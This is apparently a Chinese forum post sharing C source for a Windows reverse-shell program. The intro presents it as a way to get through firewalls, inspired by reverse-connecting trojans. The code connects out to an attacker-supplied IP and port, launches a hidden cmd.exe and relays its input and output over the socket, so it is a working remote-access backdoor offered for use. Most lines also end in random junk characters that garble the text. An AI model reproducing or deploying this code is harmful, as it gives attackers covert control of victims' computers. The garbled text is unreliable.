这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xlcL;e&^P
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/* ============================== nEt{ltsS0
Rebound port in Windows NT -e4TqzRr
By wind,2006/7 s_;o1 K0
===============================*/ .H@b zm
#include ?}e^-//*i
#include JIiS/]KQ
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#pragma comment(lib,"wsock32.lib") lqTc6@:D
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void OutputShell(); A?bqDy
SOCKET sClient; mBeP"G S
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ds2%i
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void main(int argc,char **argv) "Zfm4Nx"
{ L}
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WSADATA stWsaData; uUiS:Tp]
int nRet; #;[0:jU0
SOCKADDR_IN stSaiClient,stSaiServer; +
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if(argc != 3) PN3 Qxi4F
{ to'CuPkT
printf("Useage:\n\rRebound DestIP DestPort\n"); W#+f2 RR
return; k;B[wEW@
} "F =NDF
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7},oY""8
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @j!(at4B
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stSaiClient.sin_family = AF_INET; )m#Y^
stSaiClient.sin_port = htons(0); #M||t|9iu?
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); H$ %F0'0
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) h
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{ Wco2i m
printf("Bind Socket Failed!\n"); EDz;6Z*4N
return; @ x .`z
} eR,/}g\
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stSaiServer.sin_family = AF_INET; \WBO(,]V
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {sf
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8k3y"239t
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) <S=(`D
{ fgs@oaoZ
printf("Connect Error!"); $E&T6=Wn
return; (uDAdE5
} H[nco#
OutputShell(); !uoT8BBAk
} \gA<yz-;N
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void OutputShell() ImG8v[Q
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{ <5D4h!
char szBuff[1024]; 5'NNwc\
SECURITY_ATTRIBUTES stSecurityAttributes; ii_kgqT^
OSVERSIONINFO stOsversionInfo; IA<>+NS
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8^^ 1h
STARTUPINFO stStartupInfo; Pjk2tf0j`
char *szShell; "9r$*\wOf
PROCESS_INFORMATION stProcessInformation; _?:jZ1wZ
unsigned long lBytesRead; g<(!>:h
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); aXQS0>G%(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); dVYY:1PS
stSecurityAttributes.lpSecurityDescriptor = 0; =3c?W&:
stSecurityAttributes.bInheritHandle = TRUE; tVO}{[U}
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6i-G{)=l
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YTFU#F
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); haBmwq(f
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =]]1x_GB
stStartupInfo.wShowWindow = SW_HIDE; |YsR;=6wT
stStartupInfo.hStdInput = hReadPipe; iphC\*F
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j&,Gv@
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GetVersionEx(&stOsversionInfo); sBB[u'h!
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switch(stOsversionInfo.dwPlatformId) ']TWWwj$
{ W,NqevXo:
case 1: 1R3,Z8j'
szShell = "command.com"; ttUK~%wSx
break; L&DjNu`!9
default: g%l ,a3"
szShell = "cmd.exe"; F$)l8}
break; 6w7;
} \KnRQtlI
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %h@1lsm1+
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send(sClient,szMsg,77,0); #0r~/gW
while(1) n!4\w>h
{ ]B,tCBt
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A|8"}Hm
if(lBytesRead) `jGeS[FhR
{ ;Y\LsmZ;F
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0TmEa59P
send(sClient,szBuff,lBytesRead,0); wx*?@f>u^
} >t3_]n1e
else u:f ]|Q
{ ).;{'8Q
lBytesRead=recv(sClient,szBuff,1024,0); 7S}0Kuk)
if(lBytesRead<=0) break; uK@d?u!`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;&&<zWq3h
} E`oA(x7l
} UON=7}=$&
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return; :s_>y_=g
}